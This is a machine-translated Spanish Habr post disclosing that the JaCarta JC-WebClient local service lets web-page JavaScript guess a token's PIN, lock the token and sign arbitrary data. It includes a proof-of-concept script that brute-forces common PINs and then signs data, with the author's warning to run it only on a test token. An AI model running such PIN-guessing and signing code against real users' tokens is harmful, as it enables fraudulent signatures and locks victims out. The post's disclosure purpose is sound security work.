Prueba de JaCarta WebClient o almacenar tokens en una caja fuerte

"Cuando la cubierta negra se desvaneció por un momento, Margarita se dio la vuelta y vio que no solo no había torres coloridas con un avión desplegándose sobre ellas, sino que hace mucho tiempo que la ciudad misma había caído al suelo y había dejado solo niebla".

M.A. Bulgakov
"Maestro y Margarita"

Hola Habr! Probablemente, casi todas las organizaciones rusas tienen estos productos en una alegre coloración multicolor. Estamos hablando de productos y software JaCarta para ellos. Tal felicidad también me cayó a mí, y decidí expandir ligeramente la cubierta negra ocultando su esencia, o API. Algunos bancos, especialmente la emisión de tokens JaCarta GOST-2 a sus clientes, requieren la instalación de la aplicación JC-WebClient de Aladdin R.D. para funcionar.

Aunque no hay una nueva distribución en el sitio web oficial del desarrollador (en la sección de demostración puede descargar una versión anterior, pero utiliza la API desactualizada), la distribución se puede encontrar usando Google en la línea "JC-WebClient-4.0.0.1186" en los sitios de RB.

Después de instalar la aplicación en la computadora del usuario, se abre el puerto 24738 en el que funciona este cliente.

https://localhost:24738/JCWebClient.js

El sitio web del desarrollador describe abiertamente y en detalle la API de esta aplicación (así como las funciones de trabajar con el sistema de archivos de toda la línea de tokens de este fabricante a través de jcFS.dll, que forma parte del paquete de instalación "JaCarta Single Client") y la conclusión es que utilizando una serie de funciones puede firme la firma digital del token con cualquier cosa, recoja un código PIN o bloquee el token con intentos fallidos de ingresarlo. Y todo esto de forma remota a través de Internet.

No es ning√ļn secreto que los usuarios a menudo dejan el c√≥digo PIN predeterminado para el token, o con el que lo recibieron (generalmente tienen miedo de que al cambiar el c√≥digo PIN todo deje de funcionar).

La mayoría de las veces, se utilizan códigos PIN del tipo 123456, y el token se inserta en el puerto de la computadora o en el hub usb durante el día laborable, o incluso durante todo el día.

Gracias a JC-WebClient, si desliza una página web o correo electrónico con JavaScript simple a dicho usuario, podrá, aunque no obtenga las claves de token (en algunos casos, esto solo es posible accediendo directamente al sistema de archivos de token, un ejemplo ya se ha dado ), pero intente elija un código PIN, firme cualquier dato y envíelo a alguna parte.

En caso de 10 intentos fallidos de iterar, el token se bloquea y con qué frecuencia sucede esto, si no se establece el código PIN del administrador para desbloquear, solo ayudará la inicialización. Y esto no se paga en impuestos a tiempo (y como resultado de intereses e incluso de bloquear la cuenta de impuestos de la organización del impuesto), las pérdidas de los proveedores, en general, el bien no es suficiente.



El problema con la enumeración del código pin podría resolverse ya sea haciendo posible ingresarlo solo a través de la ventana de la interfaz de JC-WebClient, o como media medida, por ejemplo, en caso de 3 intentos fallidos de ingresarlo, bloquee la autorización adicional mostrando un mensaje al usuario y espere hasta que él confirmará tus acciones.

Escrib√≠ un peque√Īo script de prueba que muestra esta vulnerabilidad. El script funciona en todos los navegadores modernos y relativamente modernos, incluso IE :)

Naturalmente, no env√≠a nada a ning√ļn lado, sino que simplemente muestra los resultados de una secuencia de funciones.

¡El script implementa una enumeración completa de 10 intentos para ingresar el código pin "para matar" el token, para que pueda ejecutar el script solo con un token de prueba!

También debe recordarse que el uso de este script que no sea en su propio token de prueba es una violación de la ley.

Resultado de la prueba:


El script genera un par de claves y un certificado utilizando JC-WebClient para la prueba.
Puede usar EToken PRO Java 72 K, JaCarta GOST, JaCarta GOST-2. El token debe preinicializarse con el PIN de usuario 111111.

Antes de comenzar las pruebas, debe instalar JC-WebClient versión 4 o posterior.

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } var tokenID = slot.id, //   userPin = '111111'; // PIN-  //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //  PIN- JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: userPin } }); //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //          var keyPairID = JCWebClient2.createKeyPair({ args: { paramSet: "XA", description: "my description", algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 } }); //     (Distinguished Name (DN)), //    (Common Name, (CN)) var dn = { 'CN': '123', 'C': 'RU' }; //  ,      var exts = { 'keyUsage': 'Digital Signature' }; //   var contID = JCWebClient2.generateUserSelfSignedCertificate({ args: { keyPairID: keyPairID, dn: dn, exts: exts, days: 365 } }); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id      var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //   PIN- JCWebClient2.unbindToken(); 

Y en realidad el script de auditoría de seguridad en sí mismo:

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } //   var tokenID = slot.id; //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id     var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //    (Hello World  Base64) var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; document.write("  : "+dataToSign+" "); //   var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"]; //  function bind(pass) { JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: pass } }); } var i=0; //     //!  10    !!!!!!!!!! while (i < 10) { i++; try{ bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //  ,      if(tokenState.state=1) { document.write("   : "+pin[i]+" "); break; } } //    catch(e){document.write(e+" ");} } //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //   var CertificateBody=JCWebClient2.getCertificateBody({ args: { id: contID } }); document.write("CertificateBody: "+CertificateBody+" "); //  ,        Base64 var signedData = JCWebClient2.signBase64EncodedData({ args: { contID: contID, data: dataToSign, attachedSignature: true } }); document.write(" . "); document.write(" : "+signedData+" "); //  var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData({ args: { signature: signature } }); document.write("  : "+res+" "); //   PIN- JCWebClient2.unbindToken(); 

→ Fuente de información de API JC-WebClient

Source: https://habr.com/ru/post/439790/


All Articles